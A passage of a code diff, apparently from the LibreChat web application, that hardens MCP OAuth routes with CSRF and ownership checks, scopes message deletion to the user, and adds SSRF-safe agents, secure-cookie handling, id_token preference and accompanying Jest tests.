+ if (!hasCsrf && !hasSession) {
+ const pendingFlow = await flowManager.getFlowState(flowId, 'mcp_oauth');
+ const pendingAge = pendingFlow?.createdAt ? Date.now() - pendingFlow.createdAt : Infinity;
+ hasActiveFlow = pendingFlow?.status === 'PENDING' && pendingAge < PENDING_STALE_MS;
+ if (hasActiveFlow) {
+ logger.debug(
+ '[MCP OAuth] CSRF/session cookies absent, validating via active PENDING flow',
+ {
+ flowId,
+ },
+ );
+ }
+ }
+
+ if (!hasCsrf && !hasSession && !hasActiveFlow) {
+ logger.error(
+ '[MCP OAuth] CSRF validation failed: no valid CSRF cookie, session cookie, or active flow',
+ {
+ flowId,
+ hasCsrfCookie: !!req.cookies?.[OAUTH_CSRF_COOKIE],
+ hasSessionCookie: !!req.cookies?.[OAUTH_SESSION_COOKIE],
+ },
+ );
+ return res.redirect(`${basePath}/oauth/error?error=csrf_validation_failed`);
+ }
+
logger.debug('[MCP OAuth] Getting flow state for flowId: ' + flowId);
const flowState = await MCPOAuthHandler.getFlowState(flowId, flowManager);
@@ -254,7 +321,13 @@ router.get('/:serverName/oauth/callback', async (req, res) => {
const toolFlowId = flowState.metadata?.toolFlowId;
if (toolFlowId) {
logger.debug('[MCP OAuth] Completing tool flow', { toolFlowId });
- await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
+ const completed = await flowManager.completeFlow(toolFlowId, 'mcp_oauth', tokens);
+ if (!completed) {
+ logger.warn(
+ '[MCP OAuth] Tool flow state not found during completion — waiter will time out',
+ { toolFlowId },
+ );
+ }
}
/** Redirect to success page with flowId and serverName */
@@ -302,13 +375,47 @@ router.get('/oauth/tokens/:flowId', requireJwtAuth, async (req, res) => {
}
});
+/**
+ * Set CSRF binding cookie for OAuth flows initiated outside of HTTP request/response
+ * (e.g. during chat via SSE). The frontend should call this before opening the OAuth URL
+ * so the callback can verify the browser matches the flow initiator.
+ */
+router.post('/:serverName/oauth/bind', requireJwtAuth, setOAuthSession, async (req, res) => {
+ try {
+ const { serverName } = req.params;
+ const user = req.user;
+
+ if (!user?.id) {
+ return res.status(401).json({ error: 'User not authenticated' });
+ }
+
+ const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
+ setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
+
+ res.json({ success: true });
+ } catch (error) {
+ logger.error('[MCP OAuth] Failed to set CSRF binding cookie', error);
+ res.status(500).json({ error: 'Failed to bind OAuth flow' });
+ }
+});
+
/**
* Check OAuth flow status
* This endpoint can be used to poll the status of an OAuth flow
*/
-router.get('/oauth/status/:flowId', async (req, res) => {
+router.get('/oauth/status/:flowId', requireJwtAuth, async (req, res) => {
try {
const { flowId } = req.params;
+ const user = req.user;
+
+ if (!user?.id) {
+ return res.status(401).json({ error: 'User not authenticated' });
+ }
+
+ if (!flowId.startsWith(`${user.id}:`) && !flowId.startsWith('system:')) {
+ return res.status(403).json({ error: 'Access denied' });
+ }
+
const flowsCache = getLogStores(CacheKeys.FLOWS);
const flowManager = getFlowStateManager(flowsCache);
@@ -375,64 +482,75 @@ router.post('/oauth/cancel/:serverName', requireJwtAuth, async (req, res) => {
* Reinitialize MCP server
* This endpoint allows reinitializing a specific MCP server
*/
-router.post('/:serverName/reinitialize', requireJwtAuth, async (req, res) => {
- try {
- const { serverName } = req.params;
- const user = createSafeUser(req.user);
+router.post(
+ '/:serverName/reinitialize',
+ requireJwtAuth,
+ checkMCPUsePermissions,
+ setOAuthSession,
+ async (req, res) => {
+ try {
+ const { serverName } = req.params;
+ const user = createSafeUser(req.user);
- if (!user.id) {
- return res.status(401).json({ error: 'User not authenticated' });
- }
+ if (!user.id) {
+ return res.status(401).json({ error: 'User not authenticated' });
+ }
- logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
+ logger.info(`[MCP Reinitialize] Reinitializing server: ${serverName}`);
- const mcpManager = getMCPManager();
- const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
- if (!serverConfig) {
- return res.status(404).json({
- error: `MCP server '${serverName}' not found in configuration`,
+ const mcpManager = getMCPManager();
+ const serverConfig = await getMCPServersRegistry().getServerConfig(serverName, user.id);
+ if (!serverConfig) {
+ return res.status(404).json({
+ error: `MCP server '${serverName}' not found in configuration`,
+ });
+ }
+
+ await mcpManager.disconnectUserConnection(user.id, serverName);
+ logger.info(
+ `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
+ );
+
+ /** @type {Record> | undefined} */
+ let userMCPAuthMap;
+ if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
+ userMCPAuthMap = await getUserMCPAuthMap({
+ userId: user.id,
+ servers: [serverName],
+ findPluginAuthsByKeys,
+ });
+ }
+
+ const result = await reinitMCPServer({
+ user,
+ serverName,
+ userMCPAuthMap,
});
- }
- await mcpManager.disconnectUserConnection(user.id, serverName);
- logger.info(
- `[MCP Reinitialize] Disconnected existing user connection for server: ${serverName}`,
- );
+ if (!result) {
+ return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
+ }
- /** @type {Record> | undefined} */
- let userMCPAuthMap;
- if (serverConfig.customUserVars && typeof serverConfig.customUserVars === 'object') {
- userMCPAuthMap = await getUserMCPAuthMap({
- userId: user.id,
- servers: [serverName],
- findPluginAuthsByKeys,
+ const { success, message, oauthRequired, oauthUrl } = result;
+
+ if (oauthRequired) {
+ const flowId = MCPOAuthHandler.generateFlowId(user.id, serverName);
+ setOAuthCsrfCookie(res, flowId, OAUTH_CSRF_COOKIE_PATH);
+ }
+
+ res.json({
+ success,
+ message,
+ oauthUrl,
+ serverName,
+ oauthRequired,
});
+ } catch (error) {
+ logger.error('[MCP Reinitialize] Unexpected error', error);
+ res.status(500).json({ error: 'Internal server error' });
}
-
- const result = await reinitMCPServer({
- user,
- serverName,
- userMCPAuthMap,
- });
-
- if (!result) {
- return res.status(500).json({ error: 'Failed to reinitialize MCP server for user' });
- }
-
- const { success, message, oauthRequired, oauthUrl } = result;
-
- res.json({
- success,
- message,
- oauthUrl,
- serverName,
- oauthRequired,
- });
- } catch (error) {
- logger.error('[MCP Reinitialize] Unexpected error', error);
- res.status(500).json({ error: 'Internal server error' });
- }
-});
+ },
+);
/**
* Get connection status for all MCP servers
@@ -539,7 +657,7 @@ router.get('/connection/status/:serverName', requireJwtAuth, async (req, res) =>
* Check which authentication values exist for a specific MCP server
* This endpoint returns only boolean flags indicating if values are set, not the actual values
*/
-router.get('/:serverName/auth-values', requireJwtAuth, async (req, res) => {
+router.get('/:serverName/auth-values', requireJwtAuth, checkMCPUsePermissions, async (req, res) => {
try {
const { serverName } = req.params;
const user = req.user;
@@ -596,19 +714,6 @@ async function getOAuthHeaders(serverName, userId) {
MCP Server CRUD Routes (User-Managed MCP Servers)
*/
-// Permission checkers for MCP server management
-const checkMCPUsePermissions = generateCheckAccess({
- permissionType: PermissionTypes.MCP_SERVERS,
- permissions: [Permissions.USE],
- getRoleByName,
-});
-
-const checkMCPCreate = generateCheckAccess({
- permissionType: PermissionTypes.MCP_SERVERS,
- permissions: [Permissions.USE, Permissions.CREATE],
- getRoleByName,
-});
-
/**
* Get list of accessible MCP servers
* @route GET /api/mcp/servers
diff --git a/api/server/routes/messages.js b/api/server/routes/messages.js
index c208e9c406..03286bc7f1 100644
--- a/api/server/routes/messages.js
+++ b/api/server/routes/messages.js
@@ -404,8 +404,8 @@ router.put('/:conversationId/:messageId/feedback', validateMessageReq, async (re
router.delete('/:conversationId/:messageId', validateMessageReq, async (req, res) => {
try {
- const { messageId } = req.params;
- await deleteMessages({ messageId });
+ const { conversationId, messageId } = req.params;
+ await deleteMessages({ messageId, conversationId, user: req.user.id });
res.status(204).send();
} catch (error) {
logger.error('Error deleting message:', error);
diff --git a/api/server/routes/oauth.js b/api/server/routes/oauth.js
index 64d29210ac..f4bb5b6026 100644
--- a/api/server/routes/oauth.js
+++ b/api/server/routes/oauth.js
@@ -4,10 +4,9 @@ const passport = require('passport');
const { randomState } = require('openid-client');
const { logger } = require('@librechat/data-schemas');
const { ErrorTypes } = require('librechat-data-provider');
-const { isEnabled, createSetBalanceConfig } = require('@librechat/api');
-const { checkDomainAllowed, loginLimiter, logHeaders, checkBan } = require('~/server/middleware');
-const { syncUserEntraGroupMemberships } = require('~/server/services/PermissionService');
-const { setAuthTokens, setOpenIDAuthTokens } = require('~/server/services/AuthService');
+const { createSetBalanceConfig } = require('@librechat/api');
+const { checkDomainAllowed, loginLimiter, logHeaders } = require('~/server/middleware');
+const { createOAuthHandler } = require('~/server/controllers/auth/oauth');
const { getAppConfig } = require('~/server/services/Config');
const { Balance } = require('~/db/models');
@@ -26,36 +25,11 @@ const domains = {
router.use(logHeaders);
router.use(loginLimiter);
-const oauthHandler = async (req, res, next) => {
- try {
- if (res.headersSent) {
- return;
- }
-
- await checkBan(req, res);
- if (req.banned) {
- return;
- }
- if (
- req.user &&
- req.user.provider == 'openid' &&
- isEnabled(process.env.OPENID_REUSE_TOKENS) === true
- ) {
- await syncUserEntraGroupMemberships(req.user, req.user.tokenset.access_token);
- setOpenIDAuthTokens(req.user.tokenset, req, res, req.user._id.toString());
- } else {
- await setAuthTokens(req.user._id, res);
- }
- res.redirect(domains.client);
- } catch (err) {
- logger.error('Error in setting authentication tokens:', err);
- next(err);
- }
-};
+const oauthHandler = createOAuthHandler();
router.get('/error', (req, res) => {
/** A single error message is pushed by passport when authentication fails. */
- const errorMessage = req.session?.messages?.pop() || 'Unknown error';
+ const errorMessage = req.session?.messages?.pop() || 'Unknown OAuth error';
logger.error('Error in OAuth authentication:', {
message: errorMessage,
});
diff --git a/api/server/routes/roles.js b/api/server/routes/roles.js
index abb53141bd..12e18c7624 100644
--- a/api/server/routes/roles.js
+++ b/api/server/routes/roles.js
@@ -6,9 +6,10 @@ const {
agentPermissionsSchema,
promptPermissionsSchema,
memoryPermissionsSchema,
+ mcpServersPermissionsSchema,
marketplacePermissionsSchema,
peoplePickerPermissionsSchema,
- mcpServersPermissionsSchema,
+ remoteAgentsPermissionsSchema,
} = require('librechat-data-provider');
const { checkAdmin, requireJwtAuth } = require('~/server/middleware');
const { updateRoleByName, getRoleByName } = require('~/models/Role');
@@ -51,6 +52,11 @@ const permissionConfigs = {
permissionType: PermissionTypes.MARKETPLACE,
errorMessage: 'Invalid marketplace permissions.',
},
+ 'remote-agents': {
+ schema: remoteAgentsPermissionsSchema,
+ permissionType: PermissionTypes.REMOTE_AGENTS,
+ errorMessage: 'Invalid remote agents permissions.',
+ },
};
/**
@@ -160,4 +166,10 @@ router.put('/:roleName/mcp-servers', checkAdmin, createPermissionUpdateHandler('
*/
router.put('/:roleName/marketplace', checkAdmin, createPermissionUpdateHandler('marketplace'));
+/**
+ * PUT /api/roles/:roleName/remote-agents
+ * Update remote agents (API) permissions for a specific role
+ */
+router.put('/:roleName/remote-agents', checkAdmin, createPermissionUpdateHandler('remote-agents'));
+
module.exports = router;
diff --git a/api/server/routes/share.js b/api/server/routes/share.js
index 6400b8b637..296644afde 100644
--- a/api/server/routes/share.js
+++ b/api/server/routes/share.js
@@ -19,9 +19,7 @@ const allowSharedLinks =
process.env.ALLOW_SHARED_LINKS === undefined || isEnabled(process.env.ALLOW_SHARED_LINKS);
if (allowSharedLinks) {
- const allowSharedLinksPublic =
- process.env.ALLOW_SHARED_LINKS_PUBLIC === undefined ||
- isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
+ const allowSharedLinksPublic = isEnabled(process.env.ALLOW_SHARED_LINKS_PUBLIC);
router.get(
'/:shareId',
allowSharedLinksPublic ? (req, res, next) => next() : requireJwtAuth,
diff --git a/api/server/services/ActionService.js b/api/server/services/ActionService.js
index a2a515d14a..5e96726a46 100644
--- a/api/server/services/ActionService.js
+++ b/api/server/services/ActionService.js
@@ -8,6 +8,7 @@ const {
logAxiosError,
refreshAccessToken,
GenerationJobManager,
+ createSSRFSafeAgents,
} = require('@librechat/api');
const {
Time,
@@ -133,6 +134,7 @@ async function loadActionSets(searchParams) {
* @param {import('zod').ZodTypeAny | undefined} [params.zodSchema] - The Zod schema for tool input validation/definition
* @param {{ oauth_client_id?: string; oauth_client_secret?: string; }} params.encrypted - The encrypted values for the action.
* @param {string | null} [params.streamId] - The stream ID for resumable streams.
+ * @param {boolean} [params.useSSRFProtection] - When true, uses SSRF-safe HTTP agents that validate resolved IPs at connect time.
* @returns { Promise unknown}> } An object with `_call` method to execute the tool input.
*/
async function createActionTool({
@@ -145,7 +147,9 @@ async function createActionTool({
description,
encrypted,
streamId = null,
+ useSSRFProtection = false,
}) {
+ const ssrfAgents = useSSRFProtection ? createSSRFSafeAgents() : undefined;
/** @type {(toolInput: Object | string, config: GraphRunnableConfig) => Promise} */
const _call = async (toolInput, config) => {
try {
@@ -201,7 +205,7 @@ async function createActionTool({
async () => {
const eventData = { event: GraphEvents.ON_RUN_STEP_DELTA, data };
if (streamId) {
- GenerationJobManager.emitChunk(streamId, eventData);
+ await GenerationJobManager.emitChunk(streamId, eventData);
} else {
sendEvent(res, eventData);
}
@@ -231,7 +235,7 @@ async function createActionTool({
data.delta.expires_at = undefined;
const successEventData = { event: GraphEvents.ON_RUN_STEP_DELTA, data };
if (streamId) {
- GenerationJobManager.emitChunk(streamId, successEventData);
+ await GenerationJobManager.emitChunk(streamId, successEventData);
} else {
sendEvent(res, successEventData);
}
@@ -324,7 +328,7 @@ async function createActionTool({
}
}
- const response = await preparedExecutor.execute();
+ const response = await preparedExecutor.execute(ssrfAgents);
if (typeof response.data === 'object') {
return JSON.stringify(response.data);
diff --git a/api/server/services/AuthService.js b/api/server/services/AuthService.js
index a400bce8b7..ef50a365b9 100644
--- a/api/server/services/AuthService.js
+++ b/api/server/services/AuthService.js
@@ -7,7 +7,13 @@ const {
DEFAULT_REFRESH_TOKEN_EXPIRY,
} = require('@librechat/data-schemas');
const { ErrorTypes, SystemRoles, errorsToString } = require('librechat-data-provider');
-const { isEnabled, checkEmailConfig, isEmailDomainAllowed, math } = require('@librechat/api');
+const {
+ math,
+ isEnabled,
+ checkEmailConfig,
+ isEmailDomainAllowed,
+ shouldUseSecureCookie,
+} = require('@librechat/api');
const {
findUser,
findToken,
@@ -33,7 +39,6 @@ const domains = {
server: process.env.DOMAIN_SERVER,
};
-const isProduction = process.env.NODE_ENV === 'production';
const genericVerificationMessage = 'Please check your email to verify your email address.';
/**
@@ -392,13 +397,13 @@ const setAuthTokens = async (userId, res, _session = null) => {
res.cookie('refreshToken', refreshToken, {
expires: new Date(refreshTokenExpires),
httpOnly: true,
- secure: isProduction,
+ secure: shouldUseSecureCookie(),
sameSite: 'strict',
});
res.cookie('token_provider', 'librechat', {
expires: new Date(refreshTokenExpires),
httpOnly: true,
- secure: isProduction,
+ secure: shouldUseSecureCookie(),
sameSite: 'strict',
});
return token;
@@ -419,7 +424,7 @@ const setAuthTokens = async (userId, res, _session = null) => {
* @param {Object} req - request object (for session access)
* @param {Object} res - response object
* @param {string} [userId] - Optional MongoDB user ID for image path validation
- * @returns {String} - access token
+ * @returns {String} - id_token (preferred) or access_token as the app auth token
*/
const setOpenIDAuthTokens = (tokenset, req, res, userId, existingRefreshToken) => {
try {
@@ -448,34 +453,62 @@ const setOpenIDAuthTokens = (tokenset, req, res, userId, existingRefreshToken) =
return;
}
+ /**
+ * Use id_token as the app authentication token (Bearer token for JWKS validation).
+ * The id_token is always a standard JWT signed by the IdP's JWKS keys with the app's
+ * client_id as audience. The access_token may be opaque or intended for a different
+ * audience (e.g., Microsoft Graph API), which fails JWKS validation.
+ * Falls back to access_token for providers where id_token is not available.
+ */
+ const appAuthToken = tokenset.id_token || tokenset.access_token;
+
+ /**
+ * Always set refresh token cookie so it survives express session expiry.
+ * The session cookie maxAge (SESSION_EXPIRY, default 15 min) is typically shorter
+ * than the OIDC token lifetime (~1 hour). Without this cookie fallback, the refresh
+ * token stored only in the session is lost when the session expires, causing the user
+ * to be signed out on the next token refresh attempt.
+ * The refresh token is small (opaque string) so it doesn't hit the HTTP/2 header
+ * size limits that motivated session storage for the larger access_token/id_token.
+ */
+ res.cookie('refreshToken', refreshToken, {
+ expires: expirationDate,
+ httpOnly: true,
+ secure: shouldUseSecureCookie(),
+ sameSite: 'strict',
+ });
+
/** Store tokens server-side in session to avoid large cookies */
if (req.session) {
req.session.openidTokens = {
accessToken: tokenset.access_token,
+ idToken: tokenset.id_token,
refreshToken: refreshToken,
expiresAt: expirationDate.getTime(),
};
} else {
logger.warn('[setOpenIDAuthTokens] No session available, falling back to cookies');
- res.cookie('refreshToken', refreshToken, {
- expires: expirationDate,
- httpOnly: true,
- secure: isProduction,
- sameSite: 'strict',
- });
res.cookie('openid_access_token', tokenset.access_token, {
expires: expirationDate,
httpOnly: true,
- secure: isProduction,
+ secure: shouldUseSecureCookie(),
sameSite: 'strict',
});
+ if (tokenset.id_token) {
+ res.cookie('openid_id_token', tokenset.id_token, {
+ expires: expirationDate,
+ httpOnly: true,
+ secure: shouldUseSecureCookie(),
+ sameSite: 'strict',
+ });
+ }
}
/** Small cookie to indicate token provider (required for auth middleware) */
res.cookie('token_provider', 'openid', {
expires: expirationDate,
httpOnly: true,
- secure: isProduction,
+ secure: shouldUseSecureCookie(),
sameSite: 'strict',
});
if (userId && isEnabled(process.env.OPENID_REUSE_TOKENS)) {
@@ -486,11 +519,11 @@ const setOpenIDAuthTokens = (tokenset, req, res, userId, existingRefreshToken) =
res.cookie('openid_user_id', signedUserId, {
expires: expirationDate,
httpOnly: true,
- secure: isProduction,
+ secure: shouldUseSecureCookie(),
sameSite: 'strict',
});
}
- return tokenset.access_token;
+ return appAuthToken;
} catch (error) {
logger.error('[setOpenIDAuthTokens] Error in setting authentication tokens:', error);
throw error;
diff --git a/api/server/services/AuthService.spec.js b/api/server/services/AuthService.spec.js
new file mode 100644
index 0000000000..da78f8d775
--- /dev/null
+++ b/api/server/services/AuthService.spec.js
@@ -0,0 +1,269 @@
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { info: jest.fn(), warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
+ DEFAULT_SESSION_EXPIRY: 900000,
+ DEFAULT_REFRESH_TOKEN_EXPIRY: 604800000,
+}));
+jest.mock('librechat-data-provider', () => ({
+ ErrorTypes: {},
+ SystemRoles: { USER: 'USER', ADMIN: 'ADMIN' },
+ errorsToString: jest.fn(),
+}));
+jest.mock('@librechat/api', () => ({
+ isEnabled: jest.fn((val) => val === 'true' || val === true),
+ checkEmailConfig: jest.fn(),
+ isEmailDomainAllowed: jest.fn(),
+ math: jest.fn((val, fallback) => (val ? Number(val) : fallback)),
+ shouldUseSecureCookie: jest.fn(() => false),
+}));
+jest.mock('~/models', () => ({
+ findUser: jest.fn(),
+ findToken: jest.fn(),
+ createUser: jest.fn(),
+ updateUser: jest.fn(),
+ countUsers: jest.fn(),
+ getUserById: jest.fn(),
+ findSession: jest.fn(),
+ createToken: jest.fn(),
+ deleteTokens: jest.fn(),
+ deleteSession: jest.fn(),
+ createSession: jest.fn(),
+ generateToken: jest.fn(),
+ deleteUserById: jest.fn(),
+ generateRefreshToken: jest.fn(),
+}));
+jest.mock('~/strategies/validators', () => ({ registerSchema: { parse: jest.fn() } }));
+jest.mock('~/server/services/Config', () => ({ getAppConfig: jest.fn() }));
+jest.mock('~/server/utils', () => ({ sendEmail: jest.fn() }));
+
+const { shouldUseSecureCookie } = require('@librechat/api');
+const { setOpenIDAuthTokens } = require('./AuthService');
+
+/** Helper to build a mock Express response */
+function mockResponse() {
+ const cookies = {};
+ const res = {
+ cookie: jest.fn((name, value, options) => {
+ cookies[name] = { value, options };
+ }),
+ _cookies: cookies,
+ };
+ return res;
+}
+
+/** Helper to build a mock Express request with session */
+function mockRequest(sessionData = {}) {
+ return {
+ session: { openidTokens: null, ...sessionData },
+ };
+}
+
+describe('setOpenIDAuthTokens', () => {
+ const env = process.env;
+
+ beforeEach(() => {
+ jest.clearAllMocks();
+ process.env = {
+ ...env,
+ JWT_REFRESH_SECRET: 'test-refresh-secret',
+ OPENID_REUSE_TOKENS: 'true',
+ };
+ });
+
+ afterAll(() => {
+ process.env = env;
+ });
+
+ describe('token selection (id_token vs access_token)', () => {
+ it('should return id_token when both id_token and access_token are present', () => {
+ const tokenset = {
+ id_token: 'the-id-token',
+ access_token: 'the-access-token',
+ refresh_token: 'the-refresh-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+ expect(result).toBe('the-id-token');
+ });
+
+ it('should return access_token when id_token is not available', () => {
+ const tokenset = {
+ access_token: 'the-access-token',
+ refresh_token: 'the-refresh-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+ expect(result).toBe('the-access-token');
+ });
+
+ it('should return access_token when id_token is undefined', () => {
+ const tokenset = {
+ id_token: undefined,
+ access_token: 'the-access-token',
+ refresh_token: 'the-refresh-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+ expect(result).toBe('the-access-token');
+ });
+
+ it('should return access_token when id_token is null', () => {
+ const tokenset = {
+ id_token: null,
+ access_token: 'the-access-token',
+ refresh_token: 'the-refresh-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+ expect(result).toBe('the-access-token');
+ });
+
+ it('should return id_token even when id_token and access_token differ', () => {
+ const tokenset = {
+ id_token: 'id-token-jwt-signed-by-idp',
+ access_token: 'opaque-graph-api-token',
+ refresh_token: 'refresh-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+ expect(result).toBe('id-token-jwt-signed-by-idp');
+ expect(result).not.toBe('opaque-graph-api-token');
+ });
+ });
+
+ describe('session token storage', () => {
+ it('should store the original access_token in session (not id_token)', () => {
+ const tokenset = {
+ id_token: 'the-id-token',
+ access_token: 'the-access-token',
+ refresh_token: 'the-refresh-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+
+ expect(req.session.openidTokens.accessToken).toBe('the-access-token');
+ expect(req.session.openidTokens.refreshToken).toBe('the-refresh-token');
+ });
+ });
+
+ describe('cookie secure flag', () => {
+ it('should call shouldUseSecureCookie for every cookie set', () => {
+ const tokenset = {
+ id_token: 'the-id-token',
+ access_token: 'the-access-token',
+ refresh_token: 'the-refresh-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+
+ // token_provider + openid_user_id (session path, so no refreshToken/openid_access_token cookies)
+ const secureCalls = shouldUseSecureCookie.mock.calls.length;
+ expect(secureCalls).toBeGreaterThanOrEqual(2);
+
+ // Verify all cookies use the result of shouldUseSecureCookie
+ for (const [, cookie] of Object.entries(res._cookies)) {
+ expect(cookie.options.secure).toBe(false);
+ }
+ });
+
+ it('should set secure: true when shouldUseSecureCookie returns true', () => {
+ shouldUseSecureCookie.mockReturnValue(true);
+
+ const tokenset = {
+ id_token: 'the-id-token',
+ access_token: 'the-access-token',
+ refresh_token: 'the-refresh-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+
+ for (const [, cookie] of Object.entries(res._cookies)) {
+ expect(cookie.options.secure).toBe(true);
+ }
+ });
+
+ it('should use shouldUseSecureCookie for cookie fallback path (no session)', () => {
+ shouldUseSecureCookie.mockReturnValue(false);
+
+ const tokenset = {
+ id_token: 'the-id-token',
+ access_token: 'the-access-token',
+ refresh_token: 'the-refresh-token',
+ };
+ const req = { session: null };
+ const res = mockResponse();
+
+ setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+
+ // In the cookie fallback path, we get: refreshToken, openid_access_token, token_provider, openid_user_id
+ expect(res.cookie).toHaveBeenCalledWith(
+ 'refreshToken',
+ expect.any(String),
+ expect.objectContaining({ secure: false }),
+ );
+ expect(res.cookie).toHaveBeenCalledWith(
+ 'openid_access_token',
+ expect.any(String),
+ expect.objectContaining({ secure: false }),
+ );
+ expect(res.cookie).toHaveBeenCalledWith(
+ 'token_provider',
+ 'openid',
+ expect.objectContaining({ secure: false }),
+ );
+ });
+ });
+
+ describe('edge cases', () => {
+ it('should return undefined when tokenset is null', () => {
+ const req = mockRequest();
+ const res = mockResponse();
+ const result = setOpenIDAuthTokens(null, req, res, 'user-123');
+ expect(result).toBeUndefined();
+ });
+
+ it('should return undefined when access_token is missing', () => {
+ const tokenset = { refresh_token: 'refresh' };
+ const req = mockRequest();
+ const res = mockResponse();
+ const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+ expect(result).toBeUndefined();
+ });
+
+ it('should return undefined when no refresh token is available', () => {
+ const tokenset = { access_token: 'access', id_token: 'id' };
+ const req = mockRequest();
+ const res = mockResponse();
+ const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123');
+ expect(result).toBeUndefined();
+ });
+
+ it('should use existingRefreshToken when tokenset has no refresh_token', () => {
+ const tokenset = {
+ id_token: 'the-id-token',
+ access_token: 'the-access-token',
+ };
+ const req = mockRequest();
+ const res = mockResponse();
+
+ const result = setOpenIDAuthTokens(tokenset, req, res, 'user-123', 'existing-refresh');
+ expect(result).toBe('the-id-token');
+ expect(req.session.openidTokens.refreshToken).toBe('existing-refresh');
+ });
+ });
+});
diff --git a/api/server/services/Config/__tests__/getCachedTools.spec.js b/api/server/services/Config/__tests__/getCachedTools.spec.js
index 48ab6e0737..38d488ed38 100644
--- a/api/server/services/Config/__tests__/getCachedTools.spec.js
+++ b/api/server/services/Config/__tests__/getCachedTools.spec.js
@@ -1,10 +1,92 @@
-const { ToolCacheKeys } = require('../getCachedTools');
+const { CacheKeys } = require('librechat-data-provider');
+
+jest.mock('~/cache/getLogStores');
+const getLogStores = require('~/cache/getLogStores');
+
+const mockCache = { get: jest.fn(), set: jest.fn(), delete: jest.fn() };
+getLogStores.mockReturnValue(mockCache);
+
+const {
+ ToolCacheKeys,
+ getCachedTools,
+ setCachedTools,
+ getMCPServerTools,
+ invalidateCachedTools,
+} = require('../getCachedTools');
+
+describe('getCachedTools', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ getLogStores.mockReturnValue(mockCache);
+ });
-describe('getCachedTools - Cache Isolation Security', () => {
describe('ToolCacheKeys.MCP_SERVER', () => {
it('should generate cache keys that include userId', () => {
const key = ToolCacheKeys.MCP_SERVER('user123', 'github');
expect(key).toBe('tools:mcp:user123:github');
});
});
+
+ describe('TOOL_CACHE namespace usage', () => {
+ it('getCachedTools should use TOOL_CACHE namespace', async () => {
+ mockCache.get.mockResolvedValue(null);
+ await getCachedTools();
+ expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE);
+ });
+
+ it('getCachedTools with MCP server options should use TOOL_CACHE namespace', async () => {
+ mockCache.get.mockResolvedValue({ tool1: {} });
+ await getCachedTools({ userId: 'user1', serverName: 'github' });
+ expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE);
+ expect(mockCache.get).toHaveBeenCalledWith(ToolCacheKeys.MCP_SERVER('user1', 'github'));
+ });
+
+ it('setCachedTools should use TOOL_CACHE namespace', async () => {
+ mockCache.set.mockResolvedValue(true);
+ const tools = { tool1: { type: 'function' } };
+ await setCachedTools(tools);
+ expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE);
+ expect(mockCache.set).toHaveBeenCalledWith(ToolCacheKeys.GLOBAL, tools, expect.any(Number));
+ });
+
+ it('setCachedTools with MCP server options should use TOOL_CACHE namespace', async () => {
+ mockCache.set.mockResolvedValue(true);
+ const tools = { tool1: { type: 'function' } };
+ await setCachedTools(tools, { userId: 'user1', serverName: 'github' });
+ expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE);
+ expect(mockCache.set).toHaveBeenCalledWith(
+ ToolCacheKeys.MCP_SERVER('user1', 'github'),
+ tools,
+ expect.any(Number),
+ );
+ });
+
+ it('invalidateCachedTools should use TOOL_CACHE namespace', async () => {
+ mockCache.delete.mockResolvedValue(true);
+ await invalidateCachedTools({ invalidateGlobal: true });
+ expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE);
+ expect(mockCache.delete).toHaveBeenCalledWith(ToolCacheKeys.GLOBAL);
+ });
+
+ it('getMCPServerTools should use TOOL_CACHE namespace', async () => {
+ mockCache.get.mockResolvedValue(null);
+ await getMCPServerTools('user1', 'github');
+ expect(getLogStores).toHaveBeenCalledWith(CacheKeys.TOOL_CACHE);
+ expect(mockCache.get).toHaveBeenCalledWith(ToolCacheKeys.MCP_SERVER('user1', 'github'));
+ });
+
+ it('should NOT use CONFIG_STORE namespace', async () => {
+ mockCache.get.mockResolvedValue(null);
+ await getCachedTools();
+ await getMCPServerTools('user1', 'github');
+ mockCache.set.mockResolvedValue(true);
+ await setCachedTools({ tool1: {} });
+ mockCache.delete.mockResolvedValue(true);
+ await invalidateCachedTools({ invalidateGlobal: true });
+
+ const allCalls = getLogStores.mock.calls.flat();
+ expect(allCalls).not.toContain(CacheKeys.CONFIG_STORE);
+ expect(allCalls.every((key) => key === CacheKeys.TOOL_CACHE)).toBe(true);
+ });
+ });
});
diff --git a/api/server/services/Config/getCachedTools.js b/api/server/services/Config/getCachedTools.js
index cf1618a646..eb7a08305a 100644
--- a/api/server/services/Config/getCachedTools.js
+++ b/api/server/services/Config/getCachedTools.js
@@ -20,7 +20,7 @@ const ToolCacheKeys = {
